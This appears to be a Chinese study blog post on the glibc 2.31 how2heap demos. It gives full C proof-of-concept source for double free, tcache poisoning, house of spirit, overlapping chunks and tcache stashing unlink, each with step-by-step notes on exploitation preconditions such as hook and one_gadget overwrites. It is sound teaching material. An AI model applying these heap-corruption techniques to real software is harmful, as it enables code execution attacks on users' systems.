How2heap Glibc2.31
2022-03-19 21:25:29

How2heap Glibc2.31

libc2.31漏洞原理与利用方式

fastbin_dup 2.31

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
 {
         setbuf(stdout, NULL);

         printf("This file demonstrates a simple double-free attack with fastbins.\n");
 
        printf("Fill up tcache first.\n");
        void *ptrs[8];
        for (int i=0; i<8; i++) {
                ptrs[i] = malloc(8);
        }
        for (int i=0; i<7; i++) {
                free(ptrs[i]);
        }
 
        printf("Allocating 3 buffers.\n");
        int *a = calloc(1, 8);
        int *b = calloc(1, 8);
        int *c = calloc(1, 8);

        printf("1st calloc(1, 8): %p\n", a);
        printf("2nd calloc(1, 8): %p\n", b);
        printf("3rd calloc(1, 8): %p\n", c);

        printf("Freeing the first one...\n");
        free(a);

        printf("If we free %p again, things will crash because %p is at the top of the free     list.\n", a, a);
        // free(a);

        printf("So, instead, we'll free %p.\n", b);
        free(b);

        printf("Now, we can free %p again, since it's not the head of the free list.\n", a)    ;
        free(a);

        printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p tw    ice!\n", a, b, a, a);
        a = calloc(1, 8);
        b = calloc(1, 8);
        c = calloc(1, 8);
        printf("1st calloc(1, 8): %p\n", a);
        printf("2nd calloc(1, 8): %p\n", b);
        printf("3rd calloc(1, 8): %p\n", c);

        assert(a == c);
}

申请8个chunk:

释放7个chunk:

将tcache bin填满

使用calloc创建3个0x21的堆块:

calloc不会分配tcache中的堆块

释放chunk a,不清空chunk a的malloc指针==》释放chunk b==》二次释放chunk a=》

申请3个0x20大小的chunk:

==》申请的第一个堆块与第三个堆块申请的是同一个堆块

总结:

1、glibc2.31存在tcache机制==》想要使用fastbin double free,想要先将tcache bin填满

2、fastbin double free可以将一个堆块启用两次==》在第一个堆块启用时,向堆块中写入内容==》

可以将新的堆块挂进fastbin 或者写入hook

fastbin_reverse_into_tcache 2.31

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
   setbuf(stdout, NULL);
 
   printf(
     "\n"
     "This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
     "except it works with a small allocation size (allocsize <= 0x78).\n"
     "The goal is to set things up so that a call to malloc(allocsize) will write\n"
     "a large unsigned value to the stack.\n\n"
   );
 
    // Allocate 14 times so that we can free later.
   char* ptrs[14];
   size_t i;
   for (i = 0; i < 14; i++) {
     ptrs[i] = malloc(allocsize);
   }

   printf(
     "First we need to free(allocsize) at least 7 times to fill the tcache.\n"
     "(More than 7 times works fine too.)\n\n"
   );

   // Fill the tcache.
   for (i = 0; i < 7; i++) {
     free(ptrs[i]);
   }

   char* victim = ptrs[7];
   printf(
     "The next pointer that we free is the chunk that we're going to corrupt: %p\n"
     "It doesn't matter if we corrupt it now or later. Because the tcache is\n"
     "already full, it will go in the fastbin.\n\n",
     victim
   );
   free(victim);

   printf(
     "Next we need to free between 1 and 6 more pointers. These will also go\n"
     "in the fastbin. If the stack address that we want to overwrite is not zero\n"
     "then we need to free exactly 6 more pointers, otherwise the attack will\n"
     "cause a segmentation fault. But if the value on the stack is zero then\n"
     "a single free is sufficient.\n\n"
   );

   // Fill the fastbin.
   for (i = 8; i < 14; i++) {
     free(ptrs[i]);
   }

   // Create an array on the stack and initialize it with garbage.
   size_t stack_var[6];
   memset(stack_var, 0xcd, sizeof(stack_var));

   printf(
     "The stack address that we intend to target: %p\n"
     "It's current value is %p\n",
     &stack_var[2],
     (char*)stack_var[2]
   );

   printf(
     "Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
     "to overwrite the next pointer at address %p\n\n",
     victim
   );

   //------------VULNERABILITY-----------

   // Overwrite linked list pointer in victim.
   *(size_t**)victim = &stack_var[0];

   //------------------------------------

   printf(
     "The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
   );

   // Empty tcache.
   for (i = 0; i < 7; i++) {
     ptrs[i] = malloc(allocsize);
   }

   printf(
     "Let's just print the contents of our array on the stack now,\n"
     "to show that it hasn't been modified yet.\n\n"
   );

   for (i = 0; i < 6; i++) {
     printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
   }

   printf(
     "\n"
     "The next allocation triggers the stack to be overwritten. The tcache\n"
     "is empty, but the fastbin isn't, so the next allocation comes from the\n"
     "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
     "Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
     "address that we are targeting ends up being the first chunk in the tcache.\n"
     "It contains a pointer to the next chunk in the list, which is why a heap\n"
     "pointer is written to the stack.\n"
     "\n"
     "Earlier we said that the attack will also work if we free fewer than 6\n"
     "extra pointers to the fastbin, but only if the value on the stack is zero.\n"
     "That's because the value on the stack is treated as a next pointer in the\n"
     "linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
     "\n"
     "The contents of our array on the stack now look like this:\n\n"
   );

   malloc(allocsize);

   for (i = 0; i < 6; i++) {
     printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
   }

   char *q = malloc(allocsize);
   printf(
     "\n"
     "Finally, if we malloc one more time then we get the stack address back: %p\n",
     q
   );

   assert(q == (char *)&stack_var[2]);

  
    return 0;
 }

创建14个chunk,将14个malloc指针放在全局ptrs数组中:

释放7个chunk,填满tcache:

释放目标chunk至fastbin:

将剩下的chunk都释放进fastbin中:

此时fastbin中:

13->12->11->10->9->8->7

创建一个数组stack_var[6],初始化数组(清空)==》

将目标堆块的fd指针修改为stack_var数组的起始地址

chunk 7-->stack_var_addr

申请7个chunk,将tcache bin中的空闲块清空:

此时申请一个堆块:

13->12->11->10->9->8->7->stack_var

==》chunk 13被申请出来==》

此时根据tcache机制==》剩余未被申请的堆块会以倒序的方式重新被挂进tcache bin中:

再一次申请chunk将会申请到stack_var==》若具有编辑堆块功能,将能对stcak_var的内容进行编辑==》

总结:

1、能够向被释放堆块中fd指针位置写入数据==》必须使用绝对地址才能达到利用效果

2、利用tcachebin将其他bin逆序写入==》将其他bin中最后一个堆块作为第一个堆块使用

overlapping_chunks 2.31

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
 
int main(int argc , char* argv[])
{
        setbuf(stdout, NULL);

        long *p1,*p2,*p3,*p4;
        printf("\nThis is another simple chunks overlapping problem\n");
        printf("The previous technique is killed by patch: 			         https://sourceware.org/git/p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n"
                   "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n"
                   "and the prev_size of it must match the unsortedbin's size\n"
                   "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n");

        printf("Let's start to allocate 4 chunks on the heap\n");

        p1 = malloc(0x80 - 8);
        p2 = malloc(0x500 - 8);
        p3 = malloc(0x80 - 8);

        printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

        memset(p1, '1', 0x80 - 8);
        memset(p2, '2', 0x500 - 8);
        memset(p3, '3', 0x80 - 8);

        printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
        int evil_chunk_size = 0x581;
        int evil_region_size = 0x580 - 8;
        printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
                 evil_chunk_size, evil_region_size);

        /* VULNERABILITY */
        *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
        /* VULNERABILITY */

        printf("\nNow let's free the chunk p2\n");
        free(p2);
        printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

        printf("\nNow let's allocate another chunk with a size equal to the data\n"
               "size of the chunk p2 injected size\n");
        printf("This malloc will be served from the previously freed chunk that\n"
               "is parked in the unsorted bin which size has been modified by us\n");
        p4 = malloc(evil_region_size);

        printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
        printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8);
        printf("p4 should overlap with p3, in this case p4 includes all p3.\n");

        printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
                   " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

        printf("Let's run through an example. Right now, we have:\n");
        printf("p4 = %s\n", (char *)p4);
        printf("p3 = %s\n", (char *)p3);

        printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
        memset(p4, '4', evil_region_size);
        printf("p4 = %s\n", (char *)p4);
        printf("p3 = %s\n", (char *)p3);

        printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
        memset(p3, '3', 80);
        printf("p4 = %s\n", (char *)p4);
        printf("p3 = %s\n", (char *)p3);

        assert(strstr((char *)p4, (char *)p3));
}

申请3个chunk:

对3个chunk进行初始化(填充):

定义变量两个变量:

evil_chunk_size==》模拟堆块的size==》chunk2+chunk3

evil_region_size==》模拟堆块中data区的size

将chunk2得size修改为evil_chunk_size==》0x581

==》模拟在chunk1进行溢出,且chunk1要有chunk2的prev_size控制权==》

此时chunk2和chunk3合并==》

释放合并后的chunk==》

与top chunk相邻==》被top chunk吞并

申请一个0x578大小的chunk==》bin中没有可以分配的堆块==》直接从top_chunk中进行分割==》

将0x578大小的chunk的malloc指针赋给p4==》

初始化chunk4:

未初始化前:

初始化后(填充4):

===》chunk 3被包含进chunk 4==》chunk3是作为chunk4的数据部分使用==》

对chunk3进行初始化(填充3):

chunk3虽然被包含进chunk4中,但是chunk3的malloc指针并没有受到影响==》堆块本身的读写没有受到影响

总结:

利用前提:

1、程序中有对堆块的增,删,改的操作

2、堆块中存在溢出(溢出到下一个堆块的size)

适用场景:

1、只能溢出到size的8个字节

2、首先对溢出后的合并的chunk进行部署:

将hook地址部署至高地址堆块的data起始位置

第二次修改高地址位内容为one_gadget

3、创建一个能隔离top_chunk的堆块达到UAF

tcahe_house_of_spirit 2.31

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
        setbuf(stdout, NULL);

        printf("This file demonstrates the house of spirit attack on tcache.\n");
        printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
        printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
        printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

        printf("Ok. Let's start with the example!.\n\n");


        printf("Calling malloc() once so that it sets up its memory.\n");
        malloc(1);

        printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
        unsigned long long *a; //pointer that will be overwritten
        unsigned long long fake_chunks[10]; //fake chunk region

        printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

        printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free     for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
        printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 w    ill all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
        fake_chunks[1] = 0x40; // this is the size


        printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
        printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

        a = &fake_chunks[2];

        printf("Freeing the overwritten pointer.\n");
        free(a);

        printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
        void *b = malloc(0x30);
        printf("malloc(0x30): %p\n", b);

        assert((long)b == (long)&fake_chunks[2]);
}

申请一个chunk:

创建一个long long类型的指针a和数组fake_chunk[10]

将fake_chunks[1]覆盖成0x40

将fake_chunks[2]的地址赋给a:

释放fake_chunk_a:

申请一个0x30的chunk==》在tcache bin中恰好有符合要求的fake_chunk_a:

fake_chunk被当作一个正常堆块重新启用

===》如果拥有对堆块写操作的话可以实现在数据段进行环境部署

总结:

可以对数据段或者bss段进行伪造堆块的部署==》或者事先在数据段部署hook地址==》挂钩子

tcache_poisoning 2.31

#include <stdio.h> 
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
        // disable buffering
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);

        printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
                  "returning a pointer to an arbitrary location (in this case, the stack).\n"
                  "The attack is very similar to fastbin corruption attack.\n");
        printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
                  "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
 
        size_t stack_var;
        printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

        printf("Allocating 2 buffers.\n");
        intptr_t *a = malloc(128);
        printf("malloc(128): %p\n", a);
        intptr_t *b = malloc(128);
        printf("malloc(128): %p\n", b);

        printf("Freeing the buffers...\n");
        free(a);
        free(b);

        printf("Now the tcache list has [ %p -> %p ].\n", b, a);
        printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
                   "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
        b[0] = (intptr_t)&stack_var;
        printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

        printf("1st malloc(128): %p\n", malloc(128));
        printf("Now the tcache list has [ %p ].\n", &stack_var);

        intptr_t *c = malloc(128);
        printf("2nd malloc(128): %p\n", c);
        printf("We got the control\n");

        assert((long)&stack_var == (long)c);
        return 0;
}

创建变量stack_var和申请两个堆块0x90:

释放chunk_a和chunk_b==》

将chunk b的fd指针位置改为stack_var地址:

为修改前:

修改后:

bin:

申请一个0x90的chunk,将chunk b申请出来:

最后申请一个0x90的chunk c==》stack_var被当作一个堆块启用:

总结:

利用chunk被释放,但是指针未被清空==》修改已释放堆块的fd指针至目标地址==》获得目标地址的控制权

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
 
int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
     unsigned long *target;
 
    setbuf(stdout, NULL);

    printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
    printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
    printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last no    t least, we need a writable address to bypass check in glibc\n\n");
    printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
    printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.    \n\n");
 
     // stack_var emulate the fake_chunk we want to alloc to
    printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
    printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we     can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
    printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
    printf("Now we alloc 9 chunks with malloc.\n\n");

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 chunks into tcache
    printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to a    nother will be merged into one after another malloc.\n\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

    //last tcache bin
    free(chunk_lis[1]);
    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

    //convert into small bin
    printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

    malloc(0xa0);// size > 0x90

    //now 5 tcache bins
    printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

    malloc(0x90);
    malloc(0x90);

    printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

    //change victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/

    //trigger the attack
    printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk wer    e linked into tcache bins.\n\n");

    calloc(1,0x90);

    printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr    : %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

    //malloc and return our fake chunk on stack
    target = malloc(0x90);

    printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

    assert(target == &stack_var[2]);
    return 0;
}

创建两个数组stack_var和chunk_lis==》

stack_var==>fake_chunk

chunk_lis==>创建的堆块的malloc指针

在stack_var[3]中写入stack_var[2]的地址:

创建9个0xa0的chunk,将malloc指针放在chunk_lis数组中:

将chunk 3到chunk 8释放进tcache bin中:

先释放chunk1 ,再释放chunk0,最后释放chunk2==》

chunk1进入tcache中,填充到7个==》(还有一个原因为接下来如果释放与chunk1相邻chunk将会触发合并)

chunk 0和chunk 2进入unsorted bin==》

2->0->unsorted addr==》

申请一个0xb0大小的chunk==》遍历tcache bin中无符合条件的chunk==》、

遍历unsorted bin中无符合条件的chunk==》从top_chunk中分配==》

将unsorted bin中的chunk放入small bin中==》

再申请两个0xa0大小的chunk==》从tcache bin中获取chunk 1和chunk 8==》

将chunk 2的bk指针覆盖为stack_var的地址==》

==》stack_var将作为chunk 2的后一个堆块

使用calloc申请0xa0大小的chunk==》calloc不从bin中国启用堆块,而是直接申请内存==》

tcache bin中没有满7个chunk==》small bin中有0xa0大小的chunk==》

将small bin中0xa0大小的chunk反序挂入tcache bin中==》

====》再申请一个0xa0大小的chunk会将stack_var当作是一个堆块启用:

总结:

利用unlink与small bin向tcache bin中挂堆块的特点:

注意unlink需要部署绕过条件

程序中必须有calloc才能利用